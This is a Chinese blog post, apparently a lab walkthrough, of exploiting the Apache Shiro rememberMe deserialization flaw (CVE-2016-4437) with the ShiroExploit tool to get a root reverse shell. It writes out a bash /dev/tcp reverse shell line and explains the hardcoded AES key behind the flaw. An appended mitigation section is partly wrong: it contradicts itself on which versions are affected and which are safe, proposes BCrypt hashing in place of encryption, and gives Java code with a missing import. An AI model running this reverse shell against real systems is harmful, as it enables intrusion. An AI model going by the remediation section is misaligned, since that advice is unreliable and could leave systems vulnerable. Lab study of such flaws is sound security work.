shiro 反序列化 _CVE-2016-4437

1.环境搭建

实验靶机:CentOS7(192.168.2.102)

攻击机:Kali-Linux(192.168.2.101)

在CentOS7开启docker容器:

浏览器登录192.168.2.102:8080

2.漏洞利用

影响版本:Apache Shiro <= 1.2.4

下载shiro反序列化工具:

Release ShiroExploit v2.3 · feihong-cs/ShiroExploit-Deprecated (github.com)

填入靶机地址:

对kali的9999端口进行监听:

点击执行:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JIYV23xh-1640671674023)(https://cdn.jsdelivr.net/gh/QJLONG/HUMMER-PIC@master/img/20211225131031.png)]

可以看到shell反弹成功,获取root权限

利用的的反弹shell:

bash -i >& /dev/tcp/IP/PORT 0>&1

放到网站上进行加密java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)

3.漏洞分析

漏洞原因:

Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

漏洞特征:

shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

### CVE-2016-4437 漏洞详情 CVE-2016-4437 是 Apache Shiro 中的一个严重反序列化漏洞,该漏洞允许攻击者通过精心构造的 `rememberMe` cookie 执行远程代码。Apache Shiro 使用了 Java 的原生对象序列化机制来处理记住我功能中的用户凭证存储和恢复操作。 当客户端发送带有恶意构造的 `rememberMe` 值时,在服务器端执行如下流程:取出请求包中 `rememberMe` 的 cookie 值 => Base64 解码 => AES 解密 (用到密钥) => 反序列化[^4]。如果此时传入的数据被篡改,则可能导致任意代码被执行。 ### 影响范围 此漏洞影响所有使用默认配置启用了 "Remember Me" 功能的应用程序版本低于 1.2.4 和 1.3.x 版本低于 1.3.1 的 Apache Shiro 库实例。由于许多 Web 应用依赖于此类身份验证框架,因此潜在受影响面广泛,特别是那些未及时更新至安全补丁版的企业级应用系统[^2]。 ### 解决方案 为了防止利用这一缺陷实施攻击,建议采取以下措施之一: #### 方法一:升级库文件 最直接有效的方式是尽快将使用的 Shiro 库升级到最新稳定版本,如 1.2.4 或更高版本对于长期支持分支;如果是开发新项目则推荐采用最新的主要发行版。官方已经发布了解决该问题的安全更新,并且后续版本也加强了对此类风险点的关注与防护力度。 #### 方法二:禁用 RememberMe 功能 如果不必要的话可以选择关闭应用程序内的 “Remember Me” 登录选项。这可以通过调整配置参数实现,具体做法取决于所集成的具体方式以及平台特性。这样做虽然牺牲了一定用户体验便利性但是能彻底消除与此特性相关的安全隐患。 #### 方法三:自定义加密算法 另一种可行的办法是对原有的加解密逻辑进行改造,替换掉存在隐患的标准组件而选用更稳健可靠的第三方替代品或是自行设计一套基于现代密码学原理的新方案。例如引入像 BCrypt 这样的强哈希函数用于数据保护而非简单的对称秘钥变换过程。 ```java // 示例代码展示如何设置Shiro环境变量以禁用RememberMe功能 import org.apache.shiro.config.IniSecurityManagerFactory; import org.apache.shiro.mgt.SecurityManager; public class DisableRememberMe { public static void main(String[] args){ IniSecurityManagerFactory factory = new IniSecurityManagerFactory(); SecurityManager securityManager = factory.getInstance(); // 关闭RememberMe管理器 ((DefaultWebSecurityManager)securityManager).setRememberMeManager(null); } } ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值